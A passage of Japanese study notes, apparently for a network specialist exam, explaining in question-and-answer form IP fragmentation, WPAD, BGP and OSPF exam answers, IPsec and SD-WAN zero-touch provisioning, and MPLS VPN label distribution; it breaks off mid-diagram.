デメリット①：途中のルータに負荷がかかる。
　経路途中のルータでフラグメント処理を強いられると、負荷がかかる。
デメリット②：1個でも破棄されると「全体が再送」になる（非効率）
　IPフラグメントで分割されたパケットは、受信側の端末（PCやサーバ）に届くまで元に戻せない。 もし分割された3つのうち1つでも途中でドロップ（パケットロスト）すると、受信端末は再構築できず、元の大きなパケット全体を最初から再送（TCP再送）させることになる。
デメリット③：パケットの到着順序が入れ替わるとドロップしやすい
　分割されたパケットが別々のルートを通って到着順序がバラバラになると、受信側での復元処理（リアセンブル）が失敗しやすくなる。

Q.IPフラグメントを防ぐ方法は？

A.MSSクランピングとPMTUDが代表的な解決方法。
・MSSクランピング：
　TCP通信の開始時（3ウェイ・ハンドシェイク時）に、端末同士が「一度に送信できる最大データサイズ（MSS）」を宣言し合う。ルーターがその宣言をのぞき見して書き換える。「SYNパケット」を通過する際にMSSの値を勝手に小さく書き換える（クランプする）ことで、送信元PCに最初から小さいパケットを作らせる。
・Path MTU Discovery：
　端末自身が、宛先までの経路上で「最小のMTU」を自動で調べる仕組み。

Q.WPADとは？—–

WPADとはWebProxyAuto-Discovery Protocolの略。一言で言うと、「PC（ブラウザ）にPACファイルの置き場所を自動で見つけさせる仕組み」。

Q.WPADのDNS方式とは？

A.WPADには主に２つの代表的な手法がある。DNS方式とDHCP方式。では、こここではDNS方式を見ていこう！

WindowsなどのOSやブラウザ（EdgeやChromeなど）には「WPADによるプロキシ自動検出ルール」が最初から仕様として組み込まれている。

1. PCがLANに接続すると、自分の所属するドメイン名（例: branch.example.co.jp）を確認
2. OS/ブラウザが自動的に wpad というホスト名を先頭に付け足し、以下の順番でDNSサーバーへ問い合わせ（名前解決）を行う。
   • wpad.branch.example.co.jp
   • wpad.example.co.jp
3. 見つかったIPアドレス（Webサーバー）のルート直下にある /wpad.dat（PACファイルの中身と同じ）を自動取得しに行く。

つまり、ユーザーが何も設定しなくても、OSやブラウザが「プロキシを探すときはとりあえず wpad.ドメイン名/wpad.dat を見に行こう」とあらかじめプログラムされている、ということ。

設問３（１）に戻る

Q.WPADのDHCP方式とは？

DHCP方式は 「DHCPサーバーがIPアドレスを配るタイミングで、PACファイルの置き場（URL）を親切にPCに教えてあげる」 という仕組み。
（DHCPはDiscover→Offer→Request→ACKのフローである）

1. PCがIPアドレスを要求（DHCP Discover / Request）
   • PCがネットワークに接続した際、DHCPサーバーに対して「IPアドレスをください！」とリクエストを送る。
   • このとき、PCは「オプション252のデータ（WPADのURL）も欲しいです」というフラグを含めて送る。
2. DHCPサーバーがIPアドレスとURLを返答（DHCP Offer / Ack）
   • DHCPサーバーは、PCに割り当てるIPアドレスやサブネットマスクと一緒に、「オプション252（Option 252）」 という項目の中にPACファイルのURLを書き込んで返す。
   • 送信されるデータの例：(http://192.168.1.100/proxy.pac) や (http://wpad.example.co.jp/wpad.dat)
3. PCがURLを読み取る
   • PCは受け取ったDHCP応答の中からオプション252の文字列を取り出し、「あ、プロキシ設定ファイルは http://192.168.1.100/proxy.pac にあるんだな」と理解する。
4. HTTPでPACファイルをダウンロード
   • PCは教えてもらったURLに対してHTTPリクエスト（GET /proxy.pac）を送り、PACファイルをダウンロードしてブラウザに設定を適用する。

設問３（１）に戻る

Q.ドメインとは？

先ほどのWPADのDNS方式では、「自分が所属しているドメインの配下にwpadをつけて名前解決を～」とあった。ここで出てきたドメイン。。。なんか、わかってそうだけど実は全然わかってないかも⁉では、見ていこう！

A.ドメインは、「同じルール（ポリシー）で管理される1つの大きな部屋（組織）」のイメージ。
DNSのドメインと同じ考え方をするとしっくりくる。ユーザの所属ドメインさえわかれば、そのドメインを管理しているサーバに認証可否を依頼すれば、それで認証プロセスを進ませることができる。
これはDNSも一緒。そのドメインを管理しているサーバに情報を聞きに行けばそれに付随した情報が手に入る。ドメインと仕組みがあるからこそ、その情報の管理者を明確にでき一元的な管理・プロセスを可能にすることができる。

Q.なんでADでもDNSと同じドメイン名（example.co.jp など）を使うの？ADのドメインとDNSのドメインってなに？

A.実は、AD（管理の仕組み）は、土台としてDNS（名前解決の仕組み）を全面採用して作られている。その結果、ネットワーク上の他の機器を探すとき（例：WPADを探すとき）に、自動的に自分のADドメイン名を後ろにくっつけて wpad.example.co.jp というDNS名を作り出し、DNSサーバーに名前解決を聞きにいけるようになる。

ADが動くにはDNSが必須：
　・AD管理下のPCが「ログイン認証をしてくれるADサーバー（ドメインコントローラー）」を探すとき、裏側でDNSを使って検索する。
　・そのため、ADのグループ名をつくるときに、そのままDNSのドメイン名（example.co.jp）をADのグループ名として兼用する設計になっている。

共通の「苗字」として機能する：
　・PCが example.co.jp というADドメインに参加すると、PC自身も「自分は example.co.jp というグループの一員だ」と認識する。

（１）ア：カスタマー　イ：再配布　ウ：DMZ　エ：eBGP　オ：プライベート　カ：ポリシーベース

ア：カスタマー/イ：再配布/エ：eBGP/オ：プライベート
　この空欄に関しては知識問題であるため説明は割愛

ウ：DMZ　

問題の雰囲気的に「インターネット・OSPF・配布」という単語から、つい「デフォルトルート」と回答してしまうかもしれない。しかし、その単語をいれると「デフォルトルートのサブネットを～」と書いてあり、文章として成立しなくなってしまう。デフォルトルートは特定のサブネットではないから！
文脈として可能性が最も高いのは「インターネットアクセス、特定のサブネット、HTTP/HTTPS」という単語からプロキシサーバが配置されているDMZという回答になる。

Q.DMZではなく、プロキシサーバ単体で広告すれば？
DMZのプレフィックスよりもプロキシサーバ単体でよくね？
A.大抵の場合、DMZには複数の機器が収容されている。そのため、それらを一つずつ広告するとエントリー消費が無駄になる。なので、DMZのプレフィックスでまとめて広告している。

Q.プロキシサーバまで行くのはPACファイルで登録すればいいのでは？
PACファイルなどでPC内にデフォルトルートでプロキシサーバの場所を埋め込んじゃえば、プロキシサーバに関する広告は不要では？
A.PACファイルはプロキシのIPはわかるが、経路まではわからない。広告をすることで経路が明確になる。以下、フローで確認しよう。
▼PCからプロキシまでのフロー
① PCがPACファイル参照（宛先: プロキシIP）
② 最寄りのL3SWへ送信
③ L3SWはOSPFで学んだ「DMZサブネット宛て」の経路に従いルータへ
④ ルータからMPLS VPN（BGP）を渡ってデータセンターのPE1/ルータ1へ
⑤ 本社のL3SW1 ➔ FW ➔ DMZ内のプロキシサーバーに到着！
このように、宛先に届かすには経路広告の情報が必要となる。

カ：ポリシーベースルーティング
　ポリシーベースルーティングとはルーティングプロトコルによって導きだされたSPFではなく、定義したポリシー（条件）ごとにルーティング経路や優先度を変更させること。逆を言えば、最適経路以外でも、余裕で使われるということ。

設問２

（１）a: 10.3.0.0/16　b:64500 64500

a:10.3.0.0/16
これに関しては、支店Vの経路情報が届いているので、表２より支店Vのプレフィックスである10.3.0.0/16を書けばよい。

b:64500 64500
　as-overrideを使うと、AS-PATHが上書きされる。G社のASは65500だとわかるので、64500がL社のAS番号であるとわかる。つまり、65500を64500で上書きするだけなので、64500 64500となる。
＊ちなみにAS-PATHは右側が発信源で、左にどんどん追加していく。なので、「50000 60000 70000」というようなAS-PAHTがあったら、70000が最も遠く50000が最も自分の近くにあるASであると判断できる。

設問３

（２）タイプ：Type５　機器：ルータ３

まずは背景を整理しよう。
　背景：
　　・データセンターからのDMZに関する広告がBGPを経由して流れてくる
　　・で、その広告がOSPFに入るときにどのタイプになるか
　　・また、そのOSPF広告を流したのはだれか？
ということから答えを導いていこう。

まず、BGPからOSPFに経路が入るということは外部経路なのでType５であることが分かる。で、かつ、外部経路をOSPFに変換する機器はどこか？と考えると、BGPとOSPFの両方のプロトコルが稼働しているのはルータであることが分かる。で、問題では支店V社にフォーカスしているので、支店V社におけるルータはルータ３なので答えはルータ３となる。

設問４

（１）IPsecトンネル確立のためのIPアドレス、IPsecトンネル確立のための鍵情報

では、まずはSD-WANとかは置いといてIPsecに必要な情報を整理していこう！
▼IPsecに必要な情報
・相手のIPアドレス
・認証用の鍵情報
・暗号化方法
・認証方法
・ハッシュ方法
・Diffie-Hellmanのグループ番号
・ライフタイム

crypto isakmp key パスワード address 相手のIPアドレス #相手のIPアドレス＆認証用の鍵情報
crypto isakmp policy ポリシー番号
 encryption aes #暗号化方法
 authentication pre-share #認証方法
 hash sha256 #ハッシュ方法
 group 14 #Diffie-Hellmanのグループ番号
 lifetime 3600 #ライフタイム

以上の情報の中で、相手が変わっても変化がない情報は「暗号化方法・認証方法・ハッシュ方法・Diffie-Hellmanのグループ番号・ライフタイム」である。逆に相手に応じてかける必要がある情報は「相手のIPアドレス・認証用の鍵情報」である。
言い換えると、前者の相手が変わっても変化がない情報はSD-WANコントローラーがポリシーとして一括配布できる情報である。一方、後者はSD-WANルータ毎に配らなければならない情報である。

上記の前提を念頭に置いたうえで、問題文を確認すると「SD-WAN装置ごとの～と、IPsecトンネルを構築するための情報」と書かれているので、SD-WAN装置毎に送らなければならない情報は相手のIPアドレス・認証用の鍵情報である。

（２）IPsecトンネルに障害があった場合の検出を高速にする

BFDとはBidirectional Forwarding Detection（双方向転送検出）の略。通信経路（トンネルや物理リンク）の障害をミリ秒単位で超高速に検知する軽量プロトコル。
そのため、BFDを使うことで、IPsecトンネルに障害があった場合の検出を高速にすることができる。

また、障害検知だけでなく、以下のように👇より細かな情報も取得できる。
レイテンシー（遅延）： パケットの往復にかかる時間
パケットロス（欠損率）： 通信がどれくらい途切れているか
ジッター（パケブレ）： 遅延の揺らぎ・ばらつき

さらに深いVersion………………………………

p.9 支店が追加されたら、どのような変更があるの？ｰｰｰｰｰｰｰｰｰｰｰｰｰｰ

Q.視点を追加すると変更作業が起きると書かれている。が、実際にはどのような変更作業があるのか？

A.結論から言うと、現行構成（MPLS VPN＋BGP/OSPF）のまま支店を増やす場合、「新規支店以外の既存拠点（データセンターや本社など）」でのルータ設定変更作業はほぼ発生しない。
新規拠点側ではルータのコンソールに接続し、IPアドレス、eBGP設定、OSPF再配布、ルートフィルタなどを1台ずつ手動でコマンド設定（CLI）する必要がある。しかし、新拠点のサブネット情報は、BGPとOSPFの再配布によって自動的にデータセンターや本社、他支店へ伝播する。そのため、既存ルータの設定をわざわざいじる必要はない。

p.9 現行構成における課題と、SD-WAN導入による改善点

Q.どうやってSD-WANはゼロタッチプロビジョニングを実現しているの？

A.コントローラからポリシーを配布してもらっている。では、フローを見ながらSD-WANにおけるゼロタッチプロビジョニングを確認していこう！

▼SD-WAN 起動〜設定完了までの詳細フロー
1：出荷および事前準備（ベンダーX社・クライアントA社）

• 機器の出荷と登録（X社）： X社はSD-WANルータを工場から発送する際、そのルータの個体識別情報（シリアル番号やMACアドレス等）と「A社」の顧客情報を紐づけて、自社の「中央集権型ZTPリダイレクトサーバー」のデータベースに登録する。
• 初期ハードコーディング（X社）： ルータのファームウェアには、無条件で「X社の中央集権型ZTPリダイレクトサーバー（例: ztp.vendor-x.com）」へアクセスする宛先情報が最初から組み込まれている。
• 事前にコントローラーでのポリシー定義（A社）： A社のネットワーク管理者は、クラウド上の「A社専用SD-WANコントローラー」の管理画面にて、新規追加するルータのシリアル番号を指定し、適用させたいネットワーク設定（IPアドレス、BGP/OSPF、IPsecトンネル、VPNポリシーなど）を作成しておく。

2：現地設置および自動リダイレクト（現地・ZTPサーバー）

• 現地設置と電源投入（現地）： 現地作業員（専門知識不要）がルータを箱から取り出し、LAN/WANケーブルを挿して電源を入れる。
• 中央サーバーへのアクセス（ルータ ➔ X社ZTP）： ルータは起動後、ハードコードされた宛先（ztp.vendor-x.com）へ自動で通信を行い、「私のシリアル番号は SN12345 です。私の接続先コントローラーを教えてください」とリクエストを送信する。
• 契約情報の照合と案内（X社ZTP ➔ ルータ）： X社ZTPサーバーは、受信したシリアル番号 SN12345 をデータベースと照合し、「この機器はA社所有」であることを特定する。特定後、ルータに対して「A社専用コントローラーのFQDN/IPアドレス（例: controller.a-company.com）」を応答（リダイレクト案内）する。

3：認証および設定ファイルの適用（ルータ ➔ A社コントローラー）

• 専用コントローラーへの接続（ルータ ➔ A社コントローラー）： ルータは案内された「A社専用コントローラー」へアクセスし、証明書等を用いて安全な暗号化通信（TLSトンネル）を確立する。
• 設定データ（構成定義）の配布（A社コントローラー ➔ ルータ）： A社コントローラーは、接続してきたルータのシリアル番号を認証し、あらかじめ準備しておいた設定データ（JSON、XML、YANGモデル形式など）をTLSトンネル経由で流し込む。
• 設定の自動反映（ルータ内部）： ルータ内のOS（エージェント）が受け取った設定データを解析し、ルーティングテーブルの構築、IPsecトンネルの確立、OSPF/BGPプロセスの起動などを自動で実行・適用する。

4：開通・運用開始

• オーバーレイ網の確立と開通： 設定完了後、他の拠点のSD-WANルータとの間で自動的にIPsecトンネルが立ち上がり、オーバーレイネットワークの通信がスタートする。

Q.従来のZTPとSD-WANのZTPの違いは？

正直、従来環境でもZTPはできていた。従来の普通のルータ（制御と転送が一体化している機器）でも、DHCP Option 66/67やTFTP/FTPサーバーを使って「電源を入れたら自動で設定ファイルをダウンロードして適用する」というZTP（自動構築）の仕組みは存在していた。しかし、それはあくまでも静的なコマンド投入である。
一方、SD-WANはコマンドではなく、ポリシーをZTPで配布している。そして、そのポリシーを解釈して実際に動作に落とし込むのはSD-WANルータ自体の仕事。つまり、動的な設定を投入することができるようになったということが従来とSD-WANでは違う。

Q.ってか、、そもそもWANって何？

A.「自社の敷地や所有設備を出た外側の領域全体」をWAN（Wide Area Network）という。

Q.SD-WANのインターネット通信に対するアプローチはどういう感じ？

SD-WANルータは基本的にSD-WANコントローラの制御に従う。これは当たり前だが、SD-WANコントローラ配下の拠点間だから成立する。しかし、インターネット接続（Google、Yahhoo、一般Webサーバ）の場合は、それらのサーバはSD-WANコントローラ配下にはない。なので、通常の拠点間通信とは異なるアプローチによって経路が選択される。

▼拠点間通信とインターネット通信の違い

SD-WANコントローラー配下の拠点間通信（自社拠点 ⇔ 自社拠点）

• アプローチ: 「双方向の協調制御」
• 送信側と受信側の両方にSD-WANルータ（CE機器）が存在。
• お互いに制御パケット（BFDなど）を送り合うことで、遅延・パケットロス・ジッターを双方向でリアルタイム測定し、コントローラーが定めたポリシーに従って最適なトンネル（IPsec）へパケットを動的に流す。

インターネット通信（自社拠点 ➔ 一般Webサーバ / SaaSなど）

• アプローチ: 「片側（送信側ルータのみ）での単独制御」
• 相手（Google、Yahoo!、Microsoft 365など）は自社のSD-WANコントローラーの制御配下にはない。
• そのため、送信側のSD-WANルータが単独でアプリケーションを識別（DPI）したり、片道のレスポンス速度を測定したりして、「自社の出口回線（MPLS経由か、一般インターネット回線へのローカルブレイクアウトか）」をポリシーに基づいて判断・選択する。

▼取得できる情報の違い

Q.もし回線が1つしかなかったらSD-WANを導入する意味なくね？

Q1.そもそもSD-WANの目的はポリシーによって動的な経路制御をすることである。しかし、そもそもの回線が１つしかなかったら、動的に経路制御しようと思っても結局１つしか道がないんだからポリシーによる動的制御しても意味なくね？
Q2.また、ZTPに至っても、自社で初期の設定コマンドなどのコンフィグを自社サーバなどに配置して、起動時にそれを取得するようにハードコーディングしておけば、それによって一元的なポリシー割り当ても可能になるのでは？
ということから、回線が１つであればSD-WANを導入する意味ってなくね？

A.では、疑問を一つずつ答えていこう！
A1.「回線が1本なら動的ルーティング（経路切替）の意味がない」 ⇒ 【100% 正解】 逃げ道の回線がない以上、どれだけリアルタイムに遅延やパケットロスを検知しても、その回線を通すしかない。

A2.「ZTP（ゼロタッチ）や一括設定投入だけなら、SD-WANじゃなくてもできる」 ⇒ 【100% 正解】 従来のルータでもDHCP/TFTPやAnsible等の構成管理ツール、独自ZTPサーバーを使えば初期設定の一括配布は可能。

Q.では、回線1本でもSD-WANを入れるメリットとは何か？

「回線が1本」という条件であっても、SD-WAN（クラウドコントローラーによる一元管理）を導入するメリットは主に3つある。

① 「ZTPそのもの」ではなく「開通後の継続的な集中管理（Day 2 Operation）」
　従来のZTP（TFTP等）は「最初の設定を入れる時（Day 1）」だけの仕組み。 開通後に「セキュリティポリシーを変更したい」「新しい通信を許可したい」となった場合、従来方式では全拠点のルータに個別ログイン（CLI）して設定変更を打ち込む必要がある。 SD-WANであれば、コントローラーのUI上でポリシーを1回変更するだけで、全国100拠点のルータへ一瞬で変更が波及・同期される。

② 「アプリの可視化」と「優先度制御（QoS）」
　回線が1本しかないからこそ、帯域の奪い合いが発生する。

• 状況： 1本しかない回線で、誰かが巨大なファイルをダウンロードして帯域を圧迫した。
• SD-WANの動作： アプリケーション識別（DPI）機能により、「Web会議（Teams等）」のパケットを最優先し、「ファイルダウンロードや動画視聴」の帯域を動的に制限（QoS）する。 経路変更はできなくても、「1本の回線の中でどのアプリを優先して通すか」という帯域制御（シェーピング）が強力に働く。

③ セキュリティ連携（SASE / SSE への発展性）
　現在、1回線（インターネットVPN）の拠点でSD-WANを入れる最大の理由はクラウドプロキシ（ZscalerやPalo Alto Prisma Access等）との自動連携。

• ローカルブレイクアウトの簡略化： クラウド型セキュリティ（SASE）へ通信を飛ばすための暗号化トンネルの設定や、IPアドレス変更への自動追従をコントローラーがすべて自動で行ってくれる。

p.9 MPLSとは?———————

MPLS（Multi-Protocol Label Switching）とはIPヘッダの宛先IPアドレスを見る代わりに、パケットに付与した短い『ラベル』を見て超高速に転送（スイッチング）する技術。
しかし、現在のルータではMPLSと同等レベルの転送処理が可能になってきているので、高速転送というメリットは薄くなってきている。

p.9 MPLSとMPLS VPNの違いは？

Q.MPLS VPNのフローは？———————–

G社の本社CEから支店CEへ「10.1.0.0/24（本社）」の経路を教える流れを見ていこう！

[本社CE] ➔(eBGP/OSPF)➔ [PE-1] ➔=== (MP-BGP) ===➔ [PE-2] ➔(eBGP/OSPF)➔ [支店CE]

1. コントロールプレーン（経路広告のフロー）
①アンダーレイ構築：
　PE-1、P（中継）、PE-2 間でOSPF/IS-ISとLDPを動かし、事業者網内の全ルータが「PE-1やPE-2のループバックIP」へ届く状態（トランスポートラベル）を作る。
②CE ➔ PE-1（経路の受領）：
　本社CEがPE-1の「G社用VRF」へ 10.1.0.0/24 を広告。
③PE-1 での加工（VPNv4化）：
　PE-1は受け取った 10.1.0.0/24 に以下を付与する。
　　・RDをくっつけて「一意なVPNv4アドレス（例: 65000:1:10.1.0.0/24）」に変換。
　　・RT（エクスポートタグ）を付与。
　　・G社用VRF宛てであることを示す「VPNラベル（内側ラベル）」を自動採番。

④PE-1 ➔ PE-2（MP-BGPで広告）： PE-1は対向のPE-2へ、MP-BGPを使って上記の情報を一括送信。

⑤PE-2 での取り込み： PE-2は届いたRTタグを見て「G社用VRF」に合致することを確認。RDを外して元の 10.1.0.0/24 に戻し、G社用VRFのルーティングテーブルへ登録。

⑥PE-2 ➔ 支店CE： 支店CEへ 10.1.0.0/24 を広告。

2. データプレーン（実際の通信フロー）

支店CEから本社（10.1.0.0/24）へパケットを送る際の流れです。

1. 支店CE ➔ PE-2： 普通のIPパケット（宛先: 10.1.0.1）をPE-2のG社用VRF宛てに送信。
2. PE-2 での2重ラベル付与：
   • 内側（VPNラベル）： MP-BGPでPE-1から教えてもらった「G社VRF識別用ラベル」を貼る。
   • 外側（トランスポートラベル）： LDPで知った「PE-1（目的地）まで運ぶためのラベル」を貼る。
3. Pルータ（中継）： 外側ラベルだけを見て、ラベルを付け替えながらPE-1へ超高速転送（内側ラベルやIPヘッダは見ない）。
4. PE-1 到着：
   • 外側ラベルが剥がれ（※直前のPルータで剥がれるPHP機能が一般的）、PE-1には「内側ラベル＋IPパケット」が届く。
   • PE-1は内側ラベルを見て「これはG社VRF行きだ」と判断し、ラベルを剥がしてG社VRFのルーティングテーブルを参照。
5. PE-1 ➔ 本社CE： 生のIPパケットとして本社CEへ渡す。

LDPのメカニズム＆フロー

OSPFで経路ができた後、LDP（Label Distribution Protocol）がどうやってラベルのバケツリレー表を作り上げるのか、そのメカニズムをステップ順に解説します。

▼前提コンポーネント
　CE1（本社） / CE2（支店）： 顧客（G社）のルータ
　PE1 / PE2： 事業者（L社）のエッジルータ（VRFを設定）
　P： 事業者（L社）のコア中継ルータ（VRFは存在しない）

ステップ1：アンダーレイIGP（OSPF/IS-IS）の確立

　・事業者内のルータ（PE1, P, PE2）間でOSPFまたはIS-ISを起動。
　・これにより、事業者網内の全ルータが「互いのIPアドレス（Loopback等）」に届く状態を作る。

ステップ2：LDPによるトランスポートラベル（外側）の配布

　・LDP（Label Distribution Protocol）が起動し、IGPで学習した宛先（特にPEのLoopback IP）に対してラベルを割り当てる。
　・動作： 下流（PE2）から上流（PE1）に向かって、「PE2宛てのパケットはラベルXで送ってくれ」とバケツリレー式にラベル情報（外側ラベル）を伝播し、全ルータにLFIB（ラベル転送表）を構築する。（このプロセスのわかりやすい具体例はこちら）

ステップ3：PEルータでのVRF・RD・RTの設定

　・PE1およびPE2に顧客（G社）用の仮想ルータ（VRF）を作成する。
　・RD（Route Distinguisher）： 他社とIPが重複しても一意に識別できるよう、IPプレフレフィックスの先頭に付与する（例：65000:1 + 10.1.0.0/24 ➔ 65000:1:10.1.0.0/24 というVPNv4アドレスを生成）。
　・RT（Route Target）： どのVRFに経路を取り込むかを制御するタグ（Export/Importルール）を設定する。

ステップ4：CE ➔ PE 間の経路学習

　・CE1（顧客G社本社）が自身の持つ経路（10.1.0.0/24）をPE1へ広告する（eBGPやOSPF等を使用）。
　・PE1は届いた経路を「G社用VRF」のルーティングテーブルに登録する。

ステップ5：PE1でのVPNラベル（内側）自動採番とMP-BGP広告

　・PE1は、顧客G社VRF宛てを引き込むためのVPNラベル（内側ラベル、例: 1001）を内部で自動生成する。
　・PE1はPE2に対して、MP-BGP（iBGP）を使って以下の情報をセットで広告します。
　　・VPNv4アドレス： 65000:1:10.1.0.0/24
　　・ネクストホップ： PE1のIPアドレス
　　・内側ラベル： 1001
　　・RTタグ： Export RT（例: 65000:100）
　　・内側ラベルのわかりやすいプロセスはこちら

ステップ6：PE2でのRT照合とVRFへの取り込み

• PE2はMP-BGPで受信した経路のRTタグ（65000:100）を確認します。
• 自身のVRFに設定されたImport RTと一致したため、RDを取り除いて普通のIPv4（10.1.0.0/24）に戻し、G社用VRFテーブルへ登録します。
• PE2はG社VRFからCE2（支店）へこの経路を広告します。

▼外側ラベルの配布メカニズム＆フロー

直感的に理解できるように、ルータを1列に並べた超シンプルな具体例で解説していこう！
＊ルータが4台一直線に並んでいる場合

目的は、PE1からゴールである「PE2（IP: 2.2.2.2）」へパケットを届けること。
[PE1] ─── [P1] ─── [P2] ─── [PE2]

▼LDPのバケツリレー（ラベルの通知フロー）
LDPはゴールのPE2から始まって、下流から上流へ向かってメッセージを送っていく。

① PE2 ➔ P2 への通知
　・PE2の主張： 「P2さん、僕（2.2.2.2）宛ての荷物を持ってくるときは、ラベル10を貼って渡してね！」
　・P2の処理： P2はメモする。
　　[メモ：PE2（2.2.2.2）に行くなら ➔ ラベル10を貼ってPE2へ投げる]

② P2 ➔ P1 への通知
　ここが疑問のコア！P2は「ラベル10」をそのままP1に教えるのではなく、P2自身が新しい番号（ラベル20）を勝手に決めてP1に伝える。
　・P2の主張： 「P1さん、PE2（2.2.2.2）宛ての荷物があるなら、僕にはラベル20を貼って渡してね！」
　・P1の処理： P1はメモする。
　　[メモ：入力ラベル20が来たら ➔ ラベル10に付け替えてP2へ投げる]

[PE1] ーーーーーーーーーーー [P1] ーーーーーーーーーーー [P2] ーーーーーーーーーーー [PE2]
      ←2.2.2.2はラベル30　　　　　←2.2.2.2はラベル20　　　　←2.2.2.2はラベル10
                      

③ P1 ➔ PE1 への通知
　P1も同じように、自分専用の新しい番号（ラベル30）を決めてPE1に伝える。
　・P1の主張： 「PE1さん、PE2（2.2.2.2）宛ての荷物は、僕にはラベル30を貼って渡してね！」　
　・PE1の処理： PE1はメモする。
　　[メモ：PE2（2.2.2.2）行きパケット ➔ ラベル30を貼ってP1へ投げる]

▼実際のデータ（パケット）が流れる
全ルータが「隣のルータから指定されたラベル」に貼り替えながら投げるので、パケットは無事に届きくようになる。

1. PE1： PE2行きのパケットに、P1から頼まれた「ラベル30」を貼ってP1に投げる。
   ＊入り口部分のPEルータでは、IPアドレスも確認する。そして、「あ、このIPアドレス宛はこのラベルだなと」判断してラベルを付与。以降のPルータはラベルのみで転送する。
2. P1： 「30」が届いたので、P2から頼まれた「ラベル20」に貼り替えてP2に投げる。
3. P2： 「20」が届いたので、PE2から頼まれた「ラベル10」に貼り替えてPE2に投げる。
4. PE2： 「10」が届いたので、自分宛てだと分かって受領する。

👆ステップ２の解説に戻る

▼内側ラベルの配布メカニズム＆フロー

出口側であるPE1（本社側）が顧客網（CE1）から経路を学習し、入口側であるPE2（支店側）へ内側ラベルを配るまでの流れを見ていこう。

[CE1] ーーーーーー [PE1] ーーーーーー [P1] ーーーーーー [P2] ーーーーーー [PE2]
              

1.PE1：CE1からIPv4経路を学習:
　VRF内での処理。
　・PE1は、接続されているCE1（顧客本社）から普通のIPv4経路（例: 10.1.0.0/24）を学習し、顧客A用のVRF-Aに登録する。
　・検証: PE1の show ip route vrf VRF-A で 10.1.0.0/24 が見えれば成功。

2.PE1：VPNv4アドレスへの変換と内側ラベルの採番:
　・MP-BGPでの処理。
　・PE1は、この経路を対向のPE2へ通知するために次のように加工。

1. RDの付与: IPv4経路の頭にRDを結合し、VPNv4アドレスに変換する（65001:100 : 10.1.0.0/24）。
2. 内側ラベルの採番: このVRF-A宛て専用の内側ラベル（例: 1001）を自前で1つ割り当てる。
3. RT（Export RT）の付与: 判定用のRTタグ（例: 65001:10）を付与する。

　・検証: PE1のBGPテーブル（show bgp vpnv4 unicast all）で、VPNv4経路にラベル 1001 が紐付いていれば成功。

3.PE1 ➔ PE2：MP-BGP UPDATEメッセージの送信:
　・PE間（iBGP）通信。
　・PE1は、MP-BGP（iBGP）を使ってPE2へアップデートメッセージを直接送信する。
　・途中のPルータはこの通信を単なるIPパケット（あるいはBGPパケット）として透過するだけで、中身は見ない。

• 送信される内容:
  • Destination (NLRI): 65001:100 : 10.1.0.0/24（VPNv4アドレス）
  • VPN Label: 1001（内側ラベル）
  • Route Target: 65001:10（Export RT）
  • BGP Next-Hop: 192.168.1.1（PE1のLoopback IPアドレス）

4.PE2：RT判定とVRFへの取り込み:
　Import処理。
　・メッセージを受け取ったPE2は、付与されているRT（65001:10）を確認する。
　・PE2の「VRF-A」に設定された Import RT と一致するか判定。
　・一致した場合、RDを取り除いて元のIPv4経路（10.1.0.0/24）に戻し、PE2の「VRF-A」のルーティングテーブルに登録します。
　・このとき、ネクストホップ 192.168.1.1（PE1）へ向かうための内側ラベルとして 1001 を内部テーブル（LFIB）に記憶します。
　・検証: PE2の show ip route vrf VRF-A に 10.1.0.0/24 が登録され、ネクストホップがPE1のIPになっていれば完了。

▼実際のパケットが転送される
＊支店（CE2）から本社（CE1: 10.1.0.1）宛てにパケットが送信されたときのラベル挙動。

[CE2] ──(生のIP)──> [PE2 (入口)] ──(2重ラベル)──> [Pルータ網] ──(内側のみ)──> [PE1 (出口)] ──(生のIP)──> [CE1]

1. PE2（入口ルータ）でのルックアップ:
   CE2から送られてきた生のIPパケット（宛先: 10.1.0.1）を「VRF-A」で検索。
2. 2重ラベルの着せ替え（Push）:
   • 内側ラベル (1001): MP-BGPでPE1から教わった「VRF-A識別用ラベル 1001」を貼る。
   • 外側ラベル (30): LDPで隣のPルータから教わった「PE1（192.168.1.1）へ運ぶ用のトランスポートラベル 30」を上から重ねて貼る。
3. 網内（Pルータ）の転送:
   Pルータ群は外側ラベル（30）だけを見てバケツリレー（Swap）を行います。内側ラベル 1001 は隠されたままで無視される。
4. PE1（出口ルータ）でのカプセル解除（Pop）:
   • 外側ラベルが剥がされた状態でPE1に届く（※PHP機能により直前のPルータで外側が剥がされている場合もある）。
   • PE1は残った内側ラベル 1001 だけを見て、「あ！これはVRF-A向けの荷物だ！」と一瞬で判断する。
   • 内側ラベル 1001 を剥がし、生のIPパケットに戻してCE1（本社）へ送信する。

step5に戻る👆

Q.なんでRDタグが必要なの？

Q.RTタグがあるなら、RDっていらなくね？だって、複数の会社で同一のプレフィックスを使っていても、RTで分ければ、問題なくね？
A.RDが必要になる理由はPEルータ内のBGPプロセス内で経路を識別するため。参考書に乗っているRDの説明を聞くと「コアネットワーク内で経路を一意に識別するため」と書かれてミスリーディングをされることがある。そもそも、RDの内容をコアルータは見ないので、これは完全なミスリーディングとなる。
実際は、PEルータ内のBGPプロセスにおいて、同じプレフィックスがあると属性などから最適な経路のみが登録されることになって、それ以外が破棄されてしまうから。

Q.もしRDがないと？

・パターン１：
　PEルータが複数の会社から同一プレフィックスを広告するときに、BGPプロセス内で「あ、これ同一プレフィックスだから１番いい経路だけ広告して他は破棄しよ」となってしまい、広告されなくなる。

・パターン２：
　PEルータが複数の同一プレフィックスから経路を受信しても、その中から最も良い経路のみがテーブルに登録される。たとえ、RTで別々のVRFに登録してね！と明示してあったとしても、それを確認する前にBGPプロセスで最良経路が選択されて、最良経路のみのVRFに登録される。ほかのVRFには登録されなくなる。

Q.CEルータとPEルータはどうやってつながっているの？

CEルータとPEルータはどのようにつながっているのか？専用線のようなものを施設しているのか。それとも、なにか別の接続方法でつながっているのか。それを紐解いていこう！
A.「顧客ビルから通信事業者の設備（PEルータ）まで物理的なアクセス回線（光ファイバーなど）を直接引き込んで接続する」のが一般的。
インターネット経由で自宅のルータからVPNを張る（IPsec VPN等）のとは異なり、MPLS VPNは「暗号化を使わない代わりに、物理・論理的にインターネットから完全に孤立させた閉域網を使う。拠点（CE）からPEルータまでの間に「何が存在し、どう繋がっているのか」を以下で詳細を記す。

▼MPLS VPNにおけるCEとPEのフロー

[顧客ビル]                                 [通信事業者（L社）の拠点]
┌───────┐      ┌────────┐                  ┌────────┐      ┌────────┐
│  CE   │ ───> │ ONU /  │ ═══════════════> │ L2/L3  │ ───> │   PE   │
│ルータ │ (LAN)│ ONU(ONU)│   アクセス回線   │ 網装置 │ (LAN)│ルータ  │
